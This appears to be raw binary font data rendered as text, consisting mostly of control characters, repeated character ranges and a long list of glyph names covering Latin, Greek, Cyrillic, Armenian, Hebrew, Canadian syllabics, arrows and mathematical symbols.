�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
��
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D4uni02D5uni02D6uni02D7uni02DEuni02DFuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EDuni02EEuni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0340uni0341uni0342uni0343uni0344uni0345uni0346uni0347uni0348uni0349uni034Auni034Buni034Cuni034Duni034Euni034Funi0351uni0352uni0353uni0357uni0358uni035Auni035Cuni035Duni035Euni035Funi0360uni0361uni0362uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03E2uni03E3uni03E4uni03E5uni03E6uni03E7uni03E8uni03E9uni03EAuni03EBuni03ECuni03EDuni03EEuni03EFuni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0460uni0461uni0462uni0463uni0464uni0465uni0466uni0467uni0468uni0469uni046Auni046Buni046Cuni046Duni046Euni046Funi0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni0478uni0479uni047Auni047Buni047Cuni047Duni047Euni047Funi0480uni0481uni0482uni0483uni0484uni0485uni0486uni0487uni0488uni0489uni048Auni048Buni048Cuni048Duni048Euni048Funi0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Cuni049Duni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04A8uni04A9uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04B8uni04B9uni04BAuni04BBuni04BCuni04BDuni04BEuni04BFuni04C0uni04C1uni04C2uni04C3uni04C4uni04C5uni04C6uni04C7uni04C8uni04C9uni04CAuni04CBuni04CCuni04CDuni04CEuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni04FAuni04FBuni04FCuni04FDuni04FEuni04FFuni0500uni0501uni0502uni0503uni0504uni0505uni0506uni0507uni0508uni0509uni050Auni050Buni050Cuni050Duni050Euni050Funi0510uni0511uni0512uni0513uni0514uni0515uni0516uni0517uni0518uni0519uni051Auni051Buni051Cuni051Duni051Euni051Funi0520uni0521uni0522uni0523uni0524uni0525uni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni05B0uni05B1uni05B2uni05B3uni05B4uni05B5uni05B6uni05B7uni05B8uni05B9uni05BAuni05BBuni05BCuni05BDuni05BEuni05BFuni05C0uni05C1uni05C2uni05C3uni05C6uni05C7uni05D0uni05D1uni05D2uni05D3uni05D4uni05D5uni05D6uni05D7uni05D8uni05D9uni05DAuni05DBuni05DCuni05DDuni05DEuni05DFuni05E0uni05E1uni05E2uni05E3uni05E4uni05E5uni05E6uni05E7uni05E8uni05E9uni05EAuni05F0uni05F1uni05F2uni05F3uni05F4uni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EBDuni0EC0uni0EC1uni0EC2uni0EC3uni0EC4uni0EC6uni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni0ED0uni0ED1uni0ED2uni0ED3uni0ED4uni0ED5uni0ED6uni0ED7uni0ED8uni0ED9uni0EDCuni0EDDuni10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1401uni1402uni1403uni1404uni1405uni1406uni1407uni1409uni140Auni140Buni140Cuni140Duni140Euni140Funi1410uni1411uni1412uni1413uni1414uni1415uni1416uni1417uni1418uni1419uni141Auni141Buni141Duni141Euni141Funi1420uni1421uni1422uni1423uni1424uni1425uni1426uni1427uni1428uni1429uni142Auni142Buni142Cuni142Duni142Euni142Funi1430uni1431uni1432uni1433uni1434uni1435uni1437uni1438uni1439uni143Auni143Buni143Cuni143Duni143Euni143Funi1440uni1441uni1442uni1443uni1444uni1445uni1446uni1447uni1448uni1449uni144Auni144Cuni144Duni144Euni144Funi1450uni1451uni1452uni1454uni1455uni1456uni1457uni1458uni1459uni145Auni145Buni145Cuni145Duni145Euni145Funi1460uni1461uni1462uni1463uni1464uni1465uni1466uni1467uni1468uni1469uni146Auni146Buni146Cuni146Duni146Euni146Funi1470uni1471uni1472uni1473uni1474uni1475uni1476uni1477uni1478uni1479uni147Auni147Buni147Cuni147Duni147Euni147Funi1480uni1481uni1482uni1483uni1484uni1485uni1486uni1487uni1488uni1489uni148Auni148Buni148Cuni148Duni148Euni148Funi1490uni1491uni1492uni1493uni1494uni1495uni1496uni1497uni1498uni1499uni149Auni149Buni149Cuni149Duni149Euni149Funi14A0uni14A1uni14A2uni14A3uni14A4uni14A5uni14A6uni14A7uni14A8uni14A9uni14AAuni14ABuni14ACuni14ADuni14AEuni14AFuni14B0uni14B1uni14B2uni14B3uni14B4uni14B5uni14B6uni14B7uni14B8uni14B9uni14BAuni14BBuni14BCuni14BDuni14C0uni14C1uni14C2uni14C3uni14C4uni14C5uni14C6uni14C7uni14C8uni14C9uni14CAuni14CBuni14CCuni14CDuni14CEuni14CFuni14D0uni14D1uni14D2uni14D3uni14D4uni14D5uni14D6uni14D7uni14D8uni14D9uni14DAuni14DBuni14DCuni14DDuni14DEuni14DFuni14E0uni14E1uni14E2uni14E3uni14E4uni14E5uni14E6uni14E7uni14E8uni14E9uni14EAuni14ECuni14EDuni14EEuni14EFuni14F0uni14F1uni14F2uni14F3uni14F4uni14F5uni14F6uni14F7uni14F8uni14F9uni14FAuni14FBuni14FCuni14FDuni14FEuni14FFuni1500uni1501uni1502uni1503uni1504uni1505uni1506uni1507uni1510uni1511uni1512uni1513uni1514uni1515uni1516uni1517uni1518uni1519uni151Auni151Buni151Cuni151Duni151Euni151Funi1520uni1521uni1522uni1523uni1524uni1525uni1526uni1527uni1528uni1529uni152Auni152Buni152Cuni152Duni152Euni152Funi1530uni1531uni1532uni1533uni1534uni1535uni1536uni1537uni1538uni1539uni153Auni153Buni153Cuni153Duni153Euni1540uni1541uni1542uni1543uni1544uni1545uni1546uni1547uni1548uni1549uni154Auni154Buni154Cuni154Duni154Euni154Funi1550uni1552uni1553uni1554uni1555uni1556uni1557uni1558uni1559uni155Auni155Buni155Cuni155Duni155Euni155Funi1560uni1561uni1562uni1563uni1564uni1565uni1566uni1567uni1568uni1569uni156Auni1574uni1575uni1576uni1577uni1578uni1579uni157Auni157Buni157Cuni157Duni157Euni157Funi1580uni1581uni1582uni1583uni1584uni1585uni158Auni158Buni158Cuni158Duni158Euni158Funi1590uni1591uni1592uni1593uni1594uni1595uni1596uni15A0uni15A1uni15A2uni15A3uni15A4uni15A5uni15A6uni15A7uni15A8uni15A9uni15AAuni15ABuni15ACuni15ADuni15AEuni15AFuni15DEuni15E1uni1646uni1647uni166Euni166Funi1670uni1671uni1672uni1673uni1674uni1675uni1676uni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D77uni1D78uni1D7Buni1D7Duni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1EBEuni1EBFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni2027uni2028uni2029uni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038uni203B	exclamdbluni203Duni203Euni203Funi2040uni2041uni2042uni2043uni2045uni2046uni2047uni2048uni2049uni204Auni204Buni204Cuni204Duni204Euni204Funi2050uni2051uni2052uni2053uni2054uni2055uni2056uni2057uni2058uni2059uni205Auni205Buni205Cuni205Duni205Euni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni20D0uni20D1uni20D6uni20D7uni20DBuni20DCuni20E1uni2100uni2101uni2102uni2103uni2104uni2105uni2106uni2107uni2108uni2109uni210Buni210Cuni210Duni210Euni210Funi2110Ifrakturuni2112uni2113uni2114uni2115uni2116uni2117weierstrassuni2119uni211Auni211BRfrakturuni211Dprescriptionuni211Funi2120uni2121uni2123uni2124uni2125uni2126uni2127uni2128uni2129uni212Auni212Buni212Cuni212D	estimateduni212Funi2130uni2131uni2132uni2133uni2134alephuni2136uni2137uni2138uni2139uni213Auni213Buni213Cuni213Duni213Euni213Funi2140uni2141uni2142uni2143uni2144uni2145uni2146uni2147uni2148uni2149uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2214uni2215uni2216asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2221uni2222uni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni222Euni222Funi2230uni2231uni2232uni2233	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni223Euni223Funi2240uni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Auni226Buni226Cuni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
